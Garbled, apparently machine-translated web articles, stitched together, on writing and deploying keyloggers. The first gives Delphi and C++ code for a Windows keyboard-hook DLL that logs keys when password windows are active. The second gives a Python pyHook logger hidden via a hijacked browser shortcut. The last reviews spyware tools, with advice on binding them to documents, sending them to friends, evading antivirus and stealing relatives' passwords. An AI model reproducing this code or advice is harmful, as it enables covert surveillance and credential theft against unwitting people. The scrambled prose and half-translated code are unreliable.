Pokrokove pda keylogger yozish.



Axborot xavfsizligi laboratoriyasi. Yak tse zrobleno

Klaviatura yorliqlarini yozish haqida
rozpovidalos allaqachon bir necha marta, lekin hamma hid
bitta buyuk nedolik haqida o'ylash - qoida tariqasida,
Men ko'proq bilishim kerak
ma'lumot va hamma narsani jurnal fayliga yozmang,
nima koristuvach klaviaturada yozish - zo'rg'a chi siz
ko'p o'ylang
CS da o'ynaganda tugmalarni bosish 😉

Ayg'oqchi o'lja bo'lishi mumkin, deb chiyilladi
Keling, uni yopishtiraylik va ahmoqona hamma narsani nurga yozmaylik
sizga 🙂 Navit nom bering shunday dastur
ayg'oqchi qurol tilni aylantirmaydi - tse mayzhe
elektron agent 007 :-))) Shlyaxiv uchun
shuning uchun dastur jurnalga nimani bosish kerakligini yozdi
bizda juda ko'p materiallar bor. Eng oddiy -
faol oynalarni boshqarish, tobto. yaki ichida
hozir tugmachalarni bosing 🙂 Yak tee,
Menimcha, bilasizmi, shpigunlar, qoida tariqasida, qo'shiladi
DLL ga ega ikonkali fayl. Tse pov'yazano z tim,
o'tish uchun scho
yangi JARAYON yaratish zarur, va
Buning uchun zruchne - vikoristovuvati dll-ku.
Buning uchun, faollashtirish uchun
loggerning o'zi, siz undan foydalanishingiz kerak bo'ladi
DLL-ni qo'lga kiritish vaqti va agar u faol bo'lsa
boshqa narsaga o'zgartirish - vivantage vv z xotirasi.

Keling, mening Visual dasturimning DLL funksiyalarini ko'rib chiqaylik
C++. DLL haqidagi topishmoq uchun topshiriq bajariladi
funktsiya hINSTAGE=LoadLibrary("name.dll"), hINSTAGE -
yak bi deskriptori DLL xotirasida zavantazhenoí,
name.dll - kutubxonaning nomi. Shchob vv vivantage,
FreeLibrary ning asosiy funksiyasi (hINSTAGE);

Endi ular haqida, bizga qanday kerak bo'lishi mumkin
dasturlari. Masalan, biz buni bilamiz koristuvach
www.mail.ru veb-sayti orqali xatni o'qing, keyin mumkin
agentni shunday mixlab qo'yingki, siz g'alaba qozonasiz
kalitlarning hujumi, agar koristuvach ceyga kirsa
veb-sayt. (O'tmishdagi xotirani kuzatib boring
dodatakh spigun klaviatura vzagali emas
ehtimol pratsyuvati, masalan, manzil qatorida
Internet Explorer "a - ce olib" favqulodda
dasturni yakunlash" - yana nimani ko'rasiz
Windows hot_v :))) Umuman olganda qaysi usul uchun
pidide va teruvchidan parollarni o'qing
- koristuvach paranoyya va qayg'udan aziyat chekadi
login kiriting va qo'lda o'ting 🙂 Yoki boshqa
cíkavo díznatisya scho vín Outlook-da yozish yoki
bloknotda. Viconu kodining bir qismining o'qi
bizga kerak bo'lgan vikonlarning sarlavhalarini almashtirish.

HINSTAGE HINSTAGE;

while(1)
{
//Loopni ishga tushiring.

int sl, ll;
ll=1;
sl=2;
// uchun o'zgartirish
lichilnika.
chart;
HWND hw;
// Namoyish oddiy
shlyakhom - tasodifiy belgilar qatorlari:
shou sarlavhasini olib tashlang va biz uchun bu kerak bo'ladi
yonma-yon.

esa (ll != sl)
{

hw=GetForegroundWindow();
GetWindowText(hw,st,128); // o'qilishi mumkin

char stt="_Bu erda kerakli sarlavhani yozamiz
us vikna_№1";

sl=strlen(stt);
ll=0;
esa (stt==st)
// teng
belgilar qatorlari
//o'sha lavozimlarda ishlagan yaxshi, nima bo'ladi
kiritish uchun zarur bo'lgan aylantirish
// Biz keyingi qatordagi qism kabi qatordamiz, mumkin
zrobiti kabi // keng filtr.
{
ll++;
}

agar (ll==sl) ( // qatorlar kabi
1-qatorning oxirigacha yuguring -
to'xtash; // jarayonni to'xtatish
}
// va hozirgacha - kabi
Bir qator vikonlarning ko'rinishini o'zgartirish kerak.
char stt="_Bu erda kerakli sarlavhani yozamiz
us vikna_№2";
sl=strlen(stt);
ll=0;
esa (stt==st)
{
ll++;
}

agar (ll==sl) (
to'xtash; // jarayonni to'xtatish
}

Keyingi tahrirni almashtirishingiz mumkin
Agar mos kelsangiz, parallel tuting
bir qator elementlarning bir tsikli, hatto bitta bo'lsa ham
zbíglasya - keyin DLL-spygun faollashtiriladi.

hINSTAGE=LoadLibrary("key1.dll");

Endi biz butun soatni qayta yozishimiz kerak,
chi har doim faol.

esa (ll==sl) //hujjatlar
qatorlar zbígayutsya - místsí ustida yigiruv
{
hw=GetForegroundWindow();
GetWindowText(hw,st,128);// o'qilishi mumkin
bir vaqtning o'zida faolroq.
ll=0;
esa (stt==st)
{
ll++;
}
}

Faol bo'lganlar haqida gapirish uchun tsiklni qoldiring
to'satdan o'zgardi, unga vivantazhuemo "spygun" berildi
kutubxona va sikl kob - tobtodan boshlanadi.
dastur vipade yolg'iz yoki yo'qligini yana tekshiradi
sizga vikonlar kerak.

FreeLibrary (hINSTAGE);

Biroq, usulning yuqoridagi tavsiflari mumkin
nedoliki - qayta ko'rib chiqish kerak
vikon chi ê kerak bo'lgan barcha ro'yxatdan
hozirda faol. Tom
boshqa algoritmdan foydalanishingiz mumkin - bekor qilmang
shouning sarlavhasi, lekin hayratlanarli, xuddi berilgandek
"EditBox" tipidagi elementlarni ko'rish a. Qoida tariqasida,
U erda parollarni o'zingiz yozasiz 🙂 kim uchun bo'ladi
vikna elementiga hayron bo'ling - va yakscho
ular orasida ê Edit - xuddi DLL kabi.

char p2, p3; //masivi
oynalar sarlavhalari uchun belgilar.

Men barcha viknalarni qayta tekshirib, tsiklda xuddi shunday bilaman:

while(p3 !="Tahrirlash") //hujjatlar
tahrirlash qutisi - vikonuemo sikli haqida bilmasdim
{

hw=GetForegroundWindow();

HWND hwnd_child; // o'zgartirish
vikna elementi

hwnd_child = GetWindow(hw,GW_CHILD);
GetClassName(hwnd_child, p3, 128);
agar (p3!="Tahrirlash")
// birinchi bo'lib
oynadagi ma'lum elementlar - EditBox emas - bir xil
uzoqda hazil
{
while(hwnd_child != 0)
{
hwnd_child = GetWindow(hwnd_child, GW_HWNDNEXT);

GetClassName(hwnd_child, p3, 128);
agar (p3=="Tahrirlash")
{
to'xtash;
}
}
}
}

Endi shpigunsku DLL haqida vlasne.
Delphi-da її ni chiroyliroq yozing, bo cey
Paskalning erkagi to'ldirishi mumkin emas
"Sipishnoy" tovushlari
ma'lumotlar turlariga prichipki. Shchob yaratish
File-New-Direct Link Library-ni tanlang - i
DLL ga tayyorgarlik tayyor. Va o'qning o'zi koddir:

kutubxona kaliti 1;
Windows-dan foydalanadi;

var
KHook: HHOOK; // uchun o'zgartirish
"makaron"

funktsiya KProc(Kod: integer; wParam: Word; lParam: LongInt): LongInt; stdcall;
const
KState: integer = 1073741824; // kod
"Klaviatura bosildi"

var
Simv: ShortString;
KL: Char massivi; //uchun
klaviatura tartibini tahrirlash
FStruct: TOFSTRUCT;
F: matn fayli;// o'zgartirish
log fayli.

boshlash

// tizimga kirish
eslatma
agar (lParam va KState)<>keyin 0
boshlash

Chiqish;
oxiri;

AssignFile(F, "keylog.txt");

// aroq qilamiz
"keylog.txt" fayli:
agar OpenFile(PChar("keylog.txt"), FStruct, OF_EXIST) = HFILE_ERROR bo'lsa
boshlash
Qayta yozish(F);// qaysi fayl emas
yaratilgan - biz yaratamiz.
oxiri
Boshqa Qo'shish (F);
//yakscho ê - yozing
oxiri.

Simv:=chr(0); // null mumkin
Klaviaturadan o'qiladigan belgini o'zgartiring.

// kodni tahlil qilish
tugmani bosdi
case wParam of
// raqamlar
48..57: Simv :=Chr(wParam);
96: Simv:="0";
97: Simv:="1";
...
104:simv:="8";
105: Simv:="9";
189.109: Simv:="-";
110: Simv:=".";
111: Simv:="/";
oxiri;

GetKeyboardLayoutName(KL); //
tartibni qayta tekshirish
yaksho KL = "00000409" keyin // yakscho
Lotin:
boshlash
case wParam of
219: Simv:="[";
221: Simv:="]";
186: Simv:=";";
222: Simv:=""";
188: Simv:=",";
190: Simv:=".";
191: Simv:="/";
65..90: Simv :=Chr(wParam);
oxiri;
oxiri;
oxiri;
yaksho KL = "00000419" keyin// yakscho
rus
boshlash
case wParam of
219: Simv:="X";
221: Simv:="b";
186: Simv: = "F";
222: Simv:="E";
188: Simv:="B";
190: Simv: = "Yu";
191: Simv:=".";
65: Simv:="F";
...
87: Simv:="C";
88: Simv:="H";
89: Simv:="H";
90: Simv: = "Men";
oxiri;

// Bu belgi bo'sh emas (shuning uchun.
alfanumerik tugma bosilganda)
// Keyin yoga faylini yozamiz
agar Simv<>"" keyin
Yozing (F, Simv);
//faylni yoping
Close File(F);

// bildirishnoma yuborish
tizimdagi boshqa pastkalar
Natija:=CallNextHookEx(KHook, code, wParam, lParam);
oxiri;

boshlash
// Pasta qo'shish
ma'lumot uchun, keling, klaviatura haqida gapiraylik.
KHook:=SetWindowsHookEx(WH_KEYBOARD, @KProc, HIInstance, 0);

Siz ushbu dasturdan so'rashingiz mumkin
zastosuvannya sferasida o'simta - yakscho
ruxsat etilgan ehtiyoj faqat bir marta rahuvati
teruvchidan parol - siz xuddi shunday o'rnatishingiz mumkin
perevirku on víkna bizning ehtiyojlarimizga, va agar u bo'lmasa
faol bo'ling - kutubxonani egallang
key1.dll, birinchi soat olish, uchun
yak koristuvach vstigne to'ldirish qi ramzlari yoqilgan
klaviatura, keyin kutubxonani jonlantiring
dasturni tugatish. Taxminan shunday 🙂

hINSTAGE=LoadLibrary("key1.dll");
uyqu (10000);
// Chekati 10 soniya, har bir tse
Soat koristuvach parolni tering.
//soat ko'proq bo'lishi mumkin
koristuvachning galvanizatsiya bosqichining turi
// klaviaturadagi yoga tezligi 🙂
FreeLibrary (hINSTAGE);

PS: Barcha qoplama materiallari berilgan
shu jumladan demolar
muqaddas yorug'lik maqsadlari, muallif belgilash
sizning oldingizda namoyish qilish
algoritm robot dasturlari "yangilanishlar
klaviatura spigun" va barchasi
g'oliblik uchun mukofot
material sizning ustingizga tushadi (ajoyib
tortuvchi 🙂) Amalga oshirish kodi mavjud
boshqa noaniqliklar
algoritm - buni o'zingiz bilishga harakat qiling)).

PSS: Shubhasiz, keylogger bo'lmasligi mumkin
asosiy vazifangizni mag'lub qiling -
tugmalar hujumi jurnaliga yozish yaxshidir, ale th
bosilgan tugmalar qiymatini siznikiga o'zgartiring
lazzatlanish - ale yak tse robiti i nima uchun
Balki shunchaki hayot kerak -
keladigan vaqt 🙂

Salom, men sizni QUAZAR deb atayman. Bugun men sizga Pythonda oddiy keyloggerni qanday yaratishni ko'rsataman. Zrozumilo, tsey klaviaturasi spygun bunday gigantlar bilan chayqalishi mumkin emas, lekin hamma narsaga qaramasdan, siz o'zingizning zastosuvannyangizni bilishingiz mumkin.

Keylogger nima?

Bunday keyloggerlar haqida va keyloggerlarni ko'rish haqida xabar berib, siz "" maqolasida o'qishingiz mumkin. Mavzu bo'yicha qo'shimcha materiallarni topish uchun saytning yuqori o'ng burchagida joylashgan qidiruvni qidiring. Shunchaki klaviatura so'zini yoki klaviatura tugmachasini kiriting.

Python-da oddiy Keylogger

Keylogger yaratish uchun bizga kerak:

• Operatsion tizim: Windows yoki MacO
• Butun Python mashinasida o'rnatishlar, shuningdek, maxsus kutubxonalar.

Ushbu material axborot xarakteriga ega. Vikladena da statistik ma'lumotlar faqat bilimga asoslangan usul bilan beriladi. Na www.site sayti tahririyati, na nashr muallifi har qanday xato uchun javobgar emas, maqola rahbari maqola muallifi hisoblanadi.

Pythonda oddiy keylogger yaratish

Boshlash uchun siz Python-ni o'rnatishingiz kerak.

Python-ni o'rnatganingizdan so'ng, siz "pyHook" va "pywin32" modullarini o'rnatishingiz kerak. Ushbu saytda siz Windows va boshqa operatsion tizimlar uchun 32-bit va 64-bit versiyalarini topasiz. PYhook va pyWin32-ni siz o'rnatgan Python va Windows versiyalariga yangilang (32 bit yoki 64 bit).

Uni o'rnatmoqchi bo'lganingizda, Boshlash menyusidan IDLE (Python GUI) menyusini oching.

"Fayl" menyusiga o'ting va "Yangi fayl" bandini bosing. Keyin keylogger kodini joylashtiring:

#Nomi: QUAZAR
#Veb-sayt: www.website
pyHook, pythoncom, sys, loggingni import qiling
file_log = "C:keyloggerlog.txt"
def OnKeyboardEvent(voqea):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format="%(message)s")
chr(event.ascii)
logging.log(10,chr(event.ascii))
Qaytish Haqiqat
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown=OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Faylni Keylogger.pyw deb nomlash orqali biroz pul tejang. Faylni faqat C ildiz katalogidan saqlamang: ushbu faylni nusxalash uchun sizga administrator huquqlari kerak. C diskida yangi jild yarating: aks holda, boshqa joyda, fayllarni nusxalash va u erda Keylogger.pyw faylini saqlash uchun administrator huquqlariga muhtoj emassiz.

“file_log =“ C: keyloggerlog.txt ” deb nomlangan chiqish fayli sifatida siz bu joy yoki yaxshiroq, agar u qattiq diskga biriktirilgan bo'lsa, yaxshiroq ekanligini tanlashingiz mumkin. Qaysi dasturdan zvytu faylini C: ildiz katalogidagi diskka saqlayman. Ha, meni ushlab turadigan hech narsa yo'q.

Python-da keyloggerni avtomatik ishga tushirish

Keylogger tayyor. Endi siz keylogger Windows sozlamalaridan avtomatik ravishda ishga tushiriladigan tarzda ishlashingiz kerak. Siz uni boshqacha amalga oshirishingiz mumkin. Keling, zrobiti-ni bat-faylga yordam berish uchun harakat qilib ko'raylik, keyloggerni ishga tushirishni istalgan dasturga bog'laymiz yoki uni avtomatik kirishda ro'yxatdan o'tkazamiz.

Men bat faylini yaratmoqchiman. Quyidagi kodni nusxa ko'chiring va bloknotga joylashtiring:

::Nomi: QUAZAR
::Veb-sayt: www.website
@echo off
ishga tushirish "" "C:keyloggerkeylogger.pyw"
"" "C: Program FilesOperalauncher.exe" ni ishga tushiring

Birinchi qatorda keylogger.pyw fayliga yo'lni kiritishingiz kerak (mening holimda "C: keylogger.pyw"). Boshqa qatorda siz dasturga yo'lni kiritishingiz kerak, shuning uchun vikoristova koristuvach (mening fikrimcha - Opera brauzeri) ga qo'ng'iroq qiling.

Tahrirlashdan so'ng, faylni .bat kengaytmasida (mening logger.bat loginimda) kompyuterdagi ba'zi biriktirilgan joyda ("C:keylogger.bat"dagi loginimda) saqlang.

Endi ish uslubiga o'tamiz va tez-tez ishlatiladigan dastur uchun yorliqni tanlang (mening brauzerim Opera). Biz ayiqni o'ng tugmasini bosing va kontekst menyusini bosing va yorliqning vakolatiga o'tamiz. Ob'ekt maydoniga C:keyloggerlogger.bat keylogger bat fayliga yo'lni kiriting.

O'zgartirish kiritilgandan so'ng, yorliq belgisi ham o'zgaradi. Alece hokimiyatga hissa qo'shuvchilarni ayblash oson (ekrandan hayratda).

Oramizda kim o'zini hech bo'lmaganda bir marta ajoyib xaker va zlamati dumba deb hisoblashni xohlamaydi? :) Agar siz bilmoqchi bo'lsangiz va bilmasangiz, unda ular haqida, agar postdan / ijtimoiy tarmoqdan parolni olish yaxshi bo'lardi. merezhi do'st, otryad / shaxs, susída yilda kímnati o'ylab Men bir marta charm istayman. :) Buni tuzatish kerak, zreshtoyu! Ko'pgina hujumlar (zararli hujumlar) jabrlanuvchining kompyuterini keyloggerlar (josuslik dasturlari) bilan zararlashni o'z ichiga oladi.

Keyinchalik, bugungi maqolada biz bo'lganlar haqida gaplashamiz Windows asosidagi kompyuterlarda o'qish uchun bezkoshtovny dasturlari, de mozhna zavantazhit í̈x yangi versiyalari, ular bilan jabrlanuvchining kompyuterini yuqtirish kabi va nima uchun ularning variantining o'ziga xosligi.

Ale, orqa-orqa, ozgina tirbandlik bor.

Keyloggerlar nima uchun kerak?

Shunga o'xshashlar haqida, menimcha, o'zingiz taxmin qilgansiz. Qoida tariqasida, badbo'y hid jabrlanuvchining kompyuteriga o'rnatilishi uchun biriktirilgan (agar buni qilishni xohlamasangiz) dasturga o'xshaydi, shundan so'ng u ushbu tugundagi klaviaturada mutlaqo hamma narsani tuzatadi. Ushbu jinoyatning o'zi bilan, o'zingizning bosimingizga ko'ra, u aniq bo'ladi: hujumning sana-soati (dííí) ushbu dastur, u holda siz vikonaní (brauzer, shu jumladan sayt manzili (hooray, vírazu bachimo, víd chogo parollar!); mahalliy qo'shimchalar; tizim xizmatlari (shu jumladan Windows kirish parollari va boshqalar).

Muammolardan birini aniq ko'rishingiz mumkin: men suidka kompyuterimga bir necha daqiqa kirishni oldim va men VK dan parolni olmoqchiman! Mo''jiza dasturini o'rnatish va kompyuterni aylantirish orqali. Parollarni qanday ko'rishim mumkin? Kompyuterni undan qanday olishni bilasizmi? Ê qabul qilingan yangilik: qoida tariqasida, ní. Ko'pgina keyloggerlar endi mahalliy to'plangan bazani saqlab qolishlari va uni uzoqroqqa qayta muhrlashlari mumkin. Jurnallarni boshqarish variantlari asosan anonimdir:

• Ruxsat etilgan elektron pochta (ehtimol kilka) - eng yaxshi variant;
• FTP server (VIN ê bo'lgan);
• SMB Server
• Fleshli disk o'rnatildi (uni jabrlanuvchining kompyuterining USB portiga joylashtiring va barcha jurnallar u erda ko'rinmas rejimda avtomatik ravishda ko'chiriladi!).

Hamma narsa kerakmi? Menimcha, gap aniq. Parollarni, noto'g'ri keyloggerlarni va bir qator qabul nutqlarini o'g'irlash jinoyati:

• Ijtimoiy vazifalarni ro'yxatga olish. merezhakh chi messenjerlari (masalan, Skype).
• Skrinshot olish.
• Pereyad / veb-kameradan ma'lumotlarni yozib oling (bu qiyinroq bo'lishi mumkin).

Keyloggery-ni qanday buzish mumkin?

Va ovqat oson emas. Yaxshi funktsional keyloggerni bilishning o'zi etarli emasligini tushunish kerak.

Otzhe, muvaffaqiyatli robot josuslik dasturi uchun nima kerak:

• Masofaviy kompyuterga administrator ruxsati.
  Bundan tashqari, bu juda jismoniy kirish obov'yazkovo emas. RDP (Remote Desktop Service) orqali tizimga kirishingiz mumkin; jamoaviy tomoshabin; AmmyAdmin va boshqalar.
  Qoida tariqasida, bu nuqtai nazardan, eng ko'p o'ralgan joylar bog'langan. Biroq, men yaqinda Windows-da administrator huquqlarini qanday olish haqida maqola yozdim.
• Anonim elektron pochta/ftp (buning uchun sizdan to'lov olmang).
  Shubhasiz, siz Susidov Shurasini o'qiyotganingiz uchun ushbu bandni jasorat bilan tashlab qo'yishingiz mumkin. Xuddi sizda vipadku bo'lgani kabi, sizning qo'lingizda jabrlanuvchining kompyuteri bo'lgani kabi (alya, aka / opa-singilning parollarini bilib oling).
• Vidsutníst ishlaydigan antiviruslar / Windowsni himoya qilish uchun ichki tizimlar.
  Ko'proq ommaviy keyloggerlar (pastga qarang) va muhimroq antivirus dasturlari (virus-loggerlar OT yadrosiga yoki tizim drayveriga kirishi kerakmi va antiviruslar endi ularni aniqlay olmaydi, ularni yo'q qila olmaydi) , ular qila olmaydi). Yuqorida aytilganlarga ko'ra, antivirus dasturlari, xuddi shu kabi, shafqatsizlarcha yo'q qilinadi. OK, antiviruslar, bizning josuslik dasturimiz Windows Defender kabi bir xil tizimga aylanishi xavfsiz emas (ular avvalroq Windows 7 va undan keyingi versiyalarda paydo bo'lgan). Noxush hid ishchining kompyuterdagi faoliyatidan shubhalanadi. Ular haqida bilmoqchi bo'lganlar haqida Google'da osongina bilib olishingiz mumkin.

Eksa, ehtimol va boshqa odamlarning parollarini / varaqalarini / fotosuratlarini o'g'irlashda muvaffaqiyat qozonishingizni yodda tuting.

Spyware va de íx ni qanday yuklab olishingiz mumkin?

Bundan tashqari, asosiy keyloggerlarni ko'rib chiqqanimdan so'ng, men kundalik amaliyotimda ularning eng so'nggi versiyalarini bepul yuklab olish (shuning uchun barcha versiyalar hozircha (yuzalarni chindan ham biladiganlar uchun) va undan oldingi ishchilar tomonidan qoldirilgan) yordamida g'alaba qozonish imkoniyatiga ega bo'ldim. testlar).

0. Kalamush!

Baholar (10 dan):

• Ilova: 10
• Samaradorlik / Foydalanish imkoniyati: 9
• Funktsionallik: 8

Tse shunchaki bomba, keylogger emas! Ish joyida 15-20 KB o'tiring. Nega hayron: assemblerda yozishning ko'pchiligi (faxriy dasturchilar yig'lab yubordi) va kattasini xaker ishqibozlari yozgani uchun;

Bundan tashqari, paket FileConnector-ni o'z ichiga oladi - mini-dastur, bu sizga keyloggerni istalgan dastur bilan yopishtirish imkonini beradi. Natijada, siz deyarli bir xil o'lchamdagi yangi exe-faylni qabul qilasiz va u xuddi siz uni yopishtirib qo'ygan dastur kabi ishlaydi! Birinchi ishga tushirilgandan so'ng, keylogger avtomatik ravishda jurnallarni kiritish uchun siz o'rnatgan parametrlar ortidan ko'rinmas rejimga o'rnatiladi. Qulay, shunday emasmi?

Ijtimoiy muhandislik uchun ajoyib imkoniyat (do'stingizga flesh-diskda fayl-o'yin/taqdimot olib keling, shunchaki Word hujjatini yozishingiz mumkin (keyingi maqolalaringizdan birida ma'lum bir word/excel faylini ishga tushiradigan exe-ikni qanday yaratish haqida) ), ishga tushirish , hamma narsa yaxshi va chiroyli, lekin do'st ko'rinmas tarzda allaqachon infektsiyalangan!). Aks holda, ushbu faylni do'stingizga pochta orqali yuklang (pochta serverlari exe-fayllarni yuklab olish va boshqarish imkoniyatiga ega bo'lishi uchun uni yuklab olish uchun yuborishdan ko'ra yaxshiroqdir). Shubhasiz, o'rnatish vaqtida antiviruslar xavfi mavjud, ammo bu hali ham kerak bo'lishi mumkin (keyin u o'rnatishdan keyin bo'lmaydi).

Aytgancha, ba'zi boshqa qurilmalar yordamida siz biriktirilgan o'rnatishning istalgan tarqatish to'plamini (masalan, The Rat! va Elite keylogger-da) nafaqat exe-fayllar bilan yopishtirishingiz mumkin (bir nechta trochlarda bo'lgani kabi). qotib qolgan koristuvachlar, baribir, ular shubhalarni chaqirishadi), ale í ajoyib so'z / Excel va pdf-fayllar bilan! Oddiy pdf-ku-da siz hech narsa haqida o'ylay olmaysiz, lekin u erda emas! :) Qanday qilib qo'rqish kerak - bu butun maqolaning mavzusi. Ayniqsa, zavzyaty menga qaytish havolasi shaklida orqali oziqlanish yozish mumkin. ;)

Zagalom, kalamush! uni uzoq va ko'p tasvirlab bera olasiz. Menga qudi yaxshi, oqi ezilgan. Yuklab olish uchun so'rov bor.

1. Elite keylogger

Baholar (10 dan):

• Ilova: 10
• Samaradorlik / Foydalanish imkoniyati: 9
• Funktsionallik: 8

Mabut, eng yaxshi yaratilgan keyloggerlardan biri. Standart to'plamdan tashqari 20 tagacha imkoniyatlar (barcha qo'shimchalar / vikonlar / saytlar bir-biriga mos keladi), shu jumladan messenjerlarni haddan tashqari ko'tarish, veb-kameradagi rasmlar va bundan ham muhimi! - WinLogon xizmatining parollarini o'zgartiring. Boshqacha qilib aytganda, siz Windows tizimiga kirish uchun parollarni o'zgartirishingiz mumkin (shu jumladan domen nomlari!). Tizim drayveri darajasida robotlarni ishga tushirish va OTni rivojlantirish bosqichida ishga tushirish mumkin bo'ldi. Xususan, ushbu dastur Kasperskiy uchun va boshqa anti-scrambler dasturlari uchun mutlaqo ko'rinmas. Bilaman, men taksida qurilgan maxsus keylogger yaratmaganman.

Xo'sh, prote allaqachon kuchli ustidan hush varto emas. O'rnatuvchining o'zi antiviruslar tomonidan osonroq tan olinadi va uni o'rnatish uchun sizga ma'muriy huquqlar kerak va barcha antivirus xizmatlari va xizmatlarini yoqing. O'rnatilgandan so'ng, hamma narsa har qanday vaziyat uchun mukammal bo'ladi.

Bundan tashqari, OS versiyasini qo'llab-quvvatlash uchun maxsus xususiyat (OT yadrosi asosidagi robot) tasvirlangan, u qaysi keyloggerlarda ishlaydi. 5-5.3-versiyalari (pastga o'tish uchun mo'ljallangan) Windows 7 ga qadar hamma narsani qo'llab-quvvatlaydi. Win 8/10, shuningdek, serverlar oilasining oynalari (2003/2008/2012) endi qo'llab-quvvatlanmaydi. Mo''jizaviy tarzda ishlaydigan Ê versiyasi 6, shu jumladan. win 8 va 10-da, hozirda cracked versiyasini bilish mumkin emas. Mabut, kelajak ko'rinadi. Ayni paytda, siz ko'proq uchun Elite keylogger 5.3 yuklab olishingiz mumkin.

U erda qilichbozlik ish rejimi yo'q, deb vikoristannya robotlar uchun (ularning spívrobítnikív kompyuterlarida o'qish uchun) lekin osíb butun guruh pídyyde emas.

Muhim nuqta - sozlashlar bilan o'rnatilgan tarqatish to'plamini yaratish imkoniyati (masalan, ma'lum bir manzildan, pochtadan, u erda siz jurnallarga quvvat qo'shishingiz kerak). Ketganingizda, siz ishga tushirishda kelajakdagi yutuqlar yoki vikonlarni ko'rmaydigan tarqatish to'plamini olib tashlaysiz va o'rnatishdan so'ng uni o'zingiz qurishingiz mumkin (bu variant boshqacha ekanligini anglatadi).

5-versiyaning skrinshotlarining nusxasi (skidda hamma narsa chiroyli va qulay ekanligini ko'rsatish uchun):

2. All-in-one keylogger.

Baholar (10 dan):

• Ilova: 3
• Samaradorlik / Foydalanish imkoniyati: 9
• Funktsionallik: 8

Bu ham qiyin narsa. Elite keylogger-da umuman funksionallik. Eksa zí skritnystyu to'g'ri girsche. Winlogon-parollar endi tutilmaydi, g'alaba drayveri ê emas, ular yadroga majburlanmaydi. Biroq, u AppData katalogining tizimi va qo'shimchalarida o'rnatilgan bo'lib, uchinchi tomon drayverlari uchun oson emas (ushbu o'rnatishlar nomi bilan emas). Muvaffaqiyatli talon-taroj qilish uchun antiviruslarni erta chino bilan himoya qiling, shuning uchun qiu boyni talon-taroj qilish uchun nadyynoy i vikoristanny bilan bezpechnoy kerak emas, masalan, siz hokimiyatning burchi uchun ishlashingiz kerak. ;) Boshqa biror narsani yopishtiring yoki antiviruslarga biriktirish uchun kodni shifrlang, ketmang.

OS Win ning har qanday versiyalarida Pratsyuê (bu amaliy).

Bundan tashqari, hamma narsa ajoyib: hamma narsani jurnalga yozing (Windows-ga kirish uchun parollarni yaratish), hamma joyga o'tkazish (jumladan, elektron pochta, ftp, qattiq flesh-disk). Zruchnist uchun hamma narsa mo''jizaviy.

3. Spytech SpyAgent.

Baholar (10 dan):

• Ilova: 4
• Samaradorlik / foydalanish qulayligi: 8
• Funktsionallik: 10

Shunday qilib, obro'siz keylogger, hatto sirli bo'lsa ham. OS versiyalarini qo'llab-quvvatlash ham mumkin. Funktsionallik oldingi variantlarga o'xshash. Ísnuê tsíkava ma'lum bir vaqtdan keyin (yoki oldindan belgilangan sanaga etganidan keyin) o'z-o'zini yo'q qilish funktsiyasi.

Bundan tashqari, veb-kameradan video va mikrofondan ovoz yozish mumkin, bu ham so'ralishi mumkin va oldingi ikki vakildan mavjud emas.

Ê robot rejimi, bu butun kompyuterlar tarmog'iga moslashish uchun qulay. Vin, nutqdan oldin, StaffCop-da (atrofga qarashdan oldin, bitta koristuvach - jismoniy shaxs uchun qo'shimchalar emas). Balki, bu dastur robotlar o'z spivrobitnik amal qilish uchun ideal (StaffCop va LanAgent qo'riqlash holda bu sohada rahbari istayman - masalan, Vi - jur Shaxs, ularning bik hayrat obov'yazkovo). Ammo naslingizga ergashish uchun siz kattalar uchun saytlarda o'tirishni yaxshi ko'rasiz. Tobto. u erda, u biriktirilgan bo'lishi emas, balki ko'proq zarur bo'lgan, lekin (chiroyli jurnallar-zvytyv toshcho bir dasta, shu jumladan) va saytlar / dasturlar (SpyAgent bir xil bor) vazifalarini blokirovka funksionalligi bo'lishi uchun.

4. Spyrix shaxsiy monitori.

Baholar (10 dan):

• Ilova: 4
• Samaradorlik / foydalanish qulayligi: 6
• Funktsionallik: 10

Oldingi nomzodga teng darajada funktsional, ammo halollik bilan bog'liq muammolar mavjud. Bundan tashqari, funksionallik cicava-ni o'z ichiga oladi: kompyuterga kiritilgan USB-tashuvchilardan fayllarni nusxalash, shuningdek, Spyrix veb-saytidagi veb-hisob qaydnomasi orqali jurnallarni masofadan turib ko'rib chiqish).

5. Spyrix shaxsiy monitori.

Baholar (10 dan):

• Ilova: 3
• Samaradorlik / foydalanish qulayligi: 6
• Funktsionallik: 8

Hisobotni ta'riflab bo'lmaydi, tk. Berilgan nusxa oldingi spigerlardan birida bo'lmagan hech narsa qila olmaydi, lekin berilgan keylogger ruhga tushishi mumkin (hech bo'lmaganda, o'z interfeysi bilan).

Natija qanday bo'lishi mumkin?

Keyloggerning quvvat manbai ko'proq axloqiy, kamroq texnik va maqsadlaringiz uchun ko'proq foydalaniladi.

Xuddi shunday, siz robot yetkazib beruvchisiz, u o'z spivrobitnikini boshqarishi, StaffCop-ni jasorat bilan qo'yishi, spivrobitnik maktublaringizdan olishi va bunday harakatlarga ruxsat berishi kerak (va qo'shimcha ravishda, bunday ish uchun ular sizni juda yaxshi olishlari mumkin) va to'g'ridan-to'g'ri kapalak. Men spivrobitniklarim amaliyotini yaxshilashning ayniqsa va samarali usullarini bilmoqchiman.

Agar siz IT-fahivets-pochatkívets bo'lsangiz, uni shunchaki sinab ko'rasiz, agar yo'q bo'lsangiz - siz ahmoqsiz - va agar siz o'ng tomonda ishlasangiz, ijtimoiy muhandislik usullaridan foydalaning va do'stlaringiz, vikoristovuyuchi ustidan test o'tkazing. be-yaky z induksiyasi. Biroq, esda tuting: qurbonlar tomonidan bunday faoliyatning namoyon bo'lishi hatto do'stlik va uzoq umr ko'rmaydi. ;) Men, albatta, sizning robotingizni tekshirishni xohlamayman. Mening so'zlarimni eslang: men tushundim. ;)

